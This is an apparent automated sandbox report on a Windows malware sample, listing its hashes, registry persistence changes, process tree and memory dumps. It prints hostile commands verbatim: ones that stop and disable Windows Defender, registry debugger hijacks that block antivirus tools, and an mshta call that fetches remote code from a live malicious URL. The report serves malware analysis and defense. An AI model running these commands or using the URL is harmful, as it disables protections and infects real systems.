274857d62ace68dfc99693252fc4e5cca95f8308d04fc09e84e6d36ae5be03fa

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2024, 03:19

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General

Target

e0a30f2c32754a4a4a79b13ff0b5e03c.exe
Size

1.7MB
MD5

e0a30f2c32754a4a4a79b13ff0b5e03c
SHA1

1360a9cd73566cbff17f4227e3edc1294b82b45d
SHA256

274857d62ace68dfc99693252fc4e5cca95f8308d04fc09e84e6d36ae5be03fa
SHA512

02237d6736f915e89aa60b86a6a09aa02ea9dc2cb3e4ba8c24932212ff66464f2981a1275513809d4e8ea9605c012abf7fa1a170d9e49e4dbdafc322fc0dc05c
SSDEEP

49152:PK/rgBg1pOCjLIx4uRZjxPgw5a1pxyupW:uEKNjTuRdJgua1pxw

Score

10^/10

evasion persistence

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://pcguarrantorutility.com/favicon.ico?0=72&1=0&2=1&3=62&4=i-s&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\jiadww.exe"	jiadww.exe

Sets file execution options in registry 2 TTPs 16 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	jiadww.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	jiadww.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe"	jiadww.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe	jiadww.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	jiadww.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	jiadww.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	jiadww.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	jiadww.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	jiadww.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	jiadww.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe	jiadww.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe	jiadww.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	jiadww.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe"	jiadww.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe"	jiadww.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	jiadww.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	e0a30f2c32754a4a4a79b13ff0b5e03c.exe

Executes dropped EXE 1 IoCs

pid	Process
3760	jiadww.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2576	sc.exe
1656	sc.exe
1312	sc.exe
760	sc.exe
4232	sc.exe
3716	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3760	jiadww.exe
Token: SeShutdownPrivilege	3760	jiadww.exe
Token: SeDebugPrivilege	3760	jiadww.exe
Token: SeShutdownPrivilege	3760	jiadww.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe
3760	jiadww.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3348 wrote to memory of 4232	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	89
PID 3348 wrote to memory of 4232	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	89
PID 3348 wrote to memory of 4232	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	89
PID 3348 wrote to memory of 3716	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	90
PID 3348 wrote to memory of 3716	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	90
PID 3348 wrote to memory of 3716	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	90
PID 3348 wrote to memory of 1020	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	91
PID 3348 wrote to memory of 1020	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	91
PID 3348 wrote to memory of 1020	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	91
PID 3348 wrote to memory of 2576	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	93
PID 3348 wrote to memory of 2576	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	93
PID 3348 wrote to memory of 2576	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	93
PID 3348 wrote to memory of 3760	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	97
PID 3348 wrote to memory of 3760	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	97
PID 3348 wrote to memory of 3760	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	97
PID 1020 wrote to memory of 3004	1020	net.exe	98
PID 1020 wrote to memory of 3004	1020	net.exe	98
PID 1020 wrote to memory of 3004	1020	net.exe	98
PID 3348 wrote to memory of 4208	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	99
PID 3348 wrote to memory of 4208	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	99
PID 3348 wrote to memory of 4208	3348	e0a30f2c32754a4a4a79b13ff0b5e03c.exe	99
PID 3760 wrote to memory of 760	3760	jiadww.exe	101
PID 3760 wrote to memory of 760	3760	jiadww.exe	101
PID 3760 wrote to memory of 760	3760	jiadww.exe	101
PID 3760 wrote to memory of 1656	3760	jiadww.exe	102
PID 3760 wrote to memory of 1656	3760	jiadww.exe	102
PID 3760 wrote to memory of 1656	3760	jiadww.exe	102
PID 3760 wrote to memory of 1496	3760	jiadww.exe	103
PID 3760 wrote to memory of 1496	3760	jiadww.exe	103
PID 3760 wrote to memory of 1496	3760	jiadww.exe	103
PID 3760 wrote to memory of 1312	3760	jiadww.exe	104
PID 3760 wrote to memory of 1312	3760	jiadww.exe	104
PID 3760 wrote to memory of 1312	3760	jiadww.exe	104
PID 3760 wrote to memory of 1240	3760	jiadww.exe	105
PID 3760 wrote to memory of 1240	3760	jiadww.exe	105
PID 3760 wrote to memory of 1240	3760	jiadww.exe	105
PID 1496 wrote to memory of 2096	1496	net.exe	110
PID 1496 wrote to memory of 2096	1496	net.exe	110
PID 1496 wrote to memory of 2096	1496	net.exe	110

C:\Users\Admin\AppData\Local\Temp\e0a30f2c32754a4a4a79b13ff0b5e03c.exe
"C:\Users\Admin\AppData\Local\Temp\e0a30f2c32754a4a4a79b13ff0b5e03c.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3348
- C:\Windows\SysWOW64\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4232
- C:\Windows\SysWOW64\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3716
- C:\Windows\SysWOW64\net.exe
  net stop msmpsvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1020
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msmpsvc
    3⤵
    PID:3004
- C:\Windows\SysWOW64\sc.exe
  sc config msmpsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2576
- C:\Users\Admin\AppData\Roaming\Microsoft\jiadww.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\jiadww.exe
  2⤵
  - Modifies WinLogon for persistence
  - Sets file execution options in registry
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:760
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:1656
- - C:\Windows\SysWOW64\net.exe
    net stop msmpsvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop msmpsvc
      4⤵
      PID:2096
- - C:\Windows\SysWOW64\sc.exe
    sc config msmpsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1312
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://pcguarrantorutility.com/favicon.ico?0=72&1=0&2=1&3=62&4=i-s&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000"
    3⤵
    PID:1240
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\E0A30F~1.EXE" >> NUL
  2⤵
  PID:4208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\jiadww.exe

Filesize
1.7MB

MD5
e0a30f2c32754a4a4a79b13ff0b5e03c

SHA1
1360a9cd73566cbff17f4227e3edc1294b82b45d

SHA256
274857d62ace68dfc99693252fc4e5cca95f8308d04fc09e84e6d36ae5be03fa

SHA512
02237d6736f915e89aa60b86a6a09aa02ea9dc2cb3e4ba8c24932212ff66464f2981a1275513809d4e8ea9605c012abf7fa1a170d9e49e4dbdafc322fc0dc05c

Download Submit
memory/3348-0-0x0000000000400000-0x000000000070E000-memory.dmp

Filesize
3.1MB

Download
memory/3348-1-0x0000000002520000-0x000000000257A000-memory.dmp

Filesize
360KB

Download
memory/3348-2-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/3348-3-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/3348-4-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/3348-5-0x0000000002640000-0x0000000002641000-memory.dmp

Filesize
4KB

Download
memory/3348-6-0x0000000002610000-0x0000000002611000-memory.dmp

Filesize
4KB

Download
memory/3348-7-0x0000000002770000-0x0000000002771000-memory.dmp

Filesize
4KB

Download
memory/3348-8-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/3348-9-0x0000000003560000-0x0000000003562000-memory.dmp

Filesize
8KB

Download
memory/3348-10-0x0000000003640000-0x0000000003780000-memory.dmp

Filesize
1.2MB

Download
memory/3348-11-0x0000000003640000-0x0000000003780000-memory.dmp

Filesize
1.2MB

Download
memory/3348-12-0x0000000003640000-0x0000000003780000-memory.dmp

Filesize
1.2MB

Download
memory/3348-13-0x00000000035B0000-0x00000000035B1000-memory.dmp

Filesize
4KB

Download
memory/3348-14-0x0000000003550000-0x0000000003552000-memory.dmp

Filesize
8KB

Download
memory/3348-15-0x00000000035C0000-0x00000000035C1000-memory.dmp

Filesize
4KB

Download
memory/3348-16-0x00000000009A0000-0x00000000009A1000-memory.dmp

Filesize
4KB

Download
memory/3348-18-0x0000000003580000-0x0000000003581000-memory.dmp

Filesize
4KB

Download
memory/3348-17-0x00000000009B0000-0x00000000009B1000-memory.dmp

Filesize
4KB

Download
memory/3348-19-0x0000000002780000-0x0000000002781000-memory.dmp

Filesize
4KB

Download
memory/3348-20-0x00000000025C0000-0x00000000025C1000-memory.dmp

Filesize
4KB

Download
memory/3348-21-0x00000000028E0000-0x00000000028E1000-memory.dmp

Filesize
4KB

Download
memory/3348-22-0x0000000002830000-0x0000000002831000-memory.dmp

Filesize
4KB

Download
memory/3348-23-0x00000000035D0000-0x00000000035D1000-memory.dmp

Filesize
4KB

Download
memory/3348-24-0x0000000002990000-0x0000000002991000-memory.dmp

Filesize
4KB

Download
memory/3348-25-0x00000000035F0000-0x00000000035F1000-memory.dmp

Filesize
4KB

Download
memory/3348-27-0x0000000003600000-0x0000000003601000-memory.dmp

Filesize
4KB

Download
memory/3348-26-0x00000000035E0000-0x00000000035E1000-memory.dmp

Filesize
4KB

Download
memory/3348-28-0x0000000003630000-0x0000000003631000-memory.dmp

Filesize
4KB

Download
memory/3348-29-0x0000000003620000-0x0000000003621000-memory.dmp

Filesize
4KB

Download
memory/3348-30-0x0000000003790000-0x0000000003791000-memory.dmp

Filesize
4KB

Download
memory/3348-31-0x0000000003780000-0x0000000003781000-memory.dmp

Filesize
4KB

Download
memory/3348-32-0x00000000037B0000-0x00000000037B1000-memory.dmp

Filesize
4KB

Download
memory/3348-33-0x00000000037A0000-0x00000000037A1000-memory.dmp

Filesize
4KB

Download
memory/3348-34-0x00000000037D0000-0x00000000037D1000-memory.dmp

Filesize
4KB

Download
memory/3348-35-0x00000000037C0000-0x00000000037C1000-memory.dmp

Filesize
4KB

Download
memory/3348-36-0x00000000037F0000-0x00000000037F1000-memory.dmp

Filesize
4KB

Download
memory/3348-37-0x00000000037E0000-0x00000000037E1000-memory.dmp

Filesize
4KB

Download
memory/3348-38-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/3348-39-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/3348-40-0x0000000003820000-0x0000000003821000-memory.dmp

Filesize
4KB

Download
memory/3348-41-0x0000000003850000-0x0000000003851000-memory.dmp

Filesize
4KB

Download
memory/3348-42-0x0000000003840000-0x0000000003841000-memory.dmp

Filesize
4KB

Download
memory/3348-43-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3348-44-0x0000000003860000-0x0000000003861000-memory.dmp

Filesize
4KB

Download
memory/3348-46-0x0000000003880000-0x0000000003881000-memory.dmp

Filesize
4KB

Download
memory/3348-45-0x0000000003890000-0x0000000003891000-memory.dmp

Filesize
4KB

Download
memory/3348-47-0x00000000038C0000-0x00000000038C1000-memory.dmp

Filesize
4KB

Download
memory/3348-48-0x00000000038B0000-0x00000000038B1000-memory.dmp

Filesize
4KB

Download
memory/3348-50-0x0000000003C10000-0x0000000003C11000-memory.dmp

Filesize
4KB

Download
memory/3348-49-0x0000000003C20000-0x0000000003C21000-memory.dmp

Filesize
4KB

Download
memory/3348-51-0x0000000003610000-0x0000000003611000-memory.dmp

Filesize
4KB

Download
memory/3348-52-0x0000000003830000-0x0000000003831000-memory.dmp

Filesize
4KB

Download
memory/3348-53-0x0000000003D60000-0x0000000003D61000-memory.dmp

Filesize
4KB

Download
memory/3348-54-0x0000000003EE0000-0x0000000003EE1000-memory.dmp

Filesize
4KB

Download
memory/3348-59-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/3348-61-0x0000000003EF0000-0x0000000003EF1000-memory.dmp

Filesize
4KB

Download
memory/3348-63-0x0000000003F10000-0x0000000003F11000-memory.dmp

Filesize
4KB

Download
memory/3348-62-0x0000000003F20000-0x0000000003F21000-memory.dmp

Filesize
4KB

Download
memory/3348-57-0x0000000003ED0000-0x0000000003ED1000-memory.dmp

Filesize
4KB

Download
memory/3348-66-0x0000000003F80000-0x0000000003F81000-memory.dmp

Filesize
4KB

Download
memory/3348-65-0x0000000003F50000-0x0000000003F51000-memory.dmp

Filesize
4KB

Download
memory/3348-64-0x0000000003F30000-0x0000000003F31000-memory.dmp

Filesize
4KB

Download
memory/3348-67-0x0000000003F70000-0x0000000003F71000-memory.dmp

Filesize
4KB

Download
memory/3348-75-0x0000000000400000-0x000000000070E000-memory.dmp

Filesize
3.1MB

Download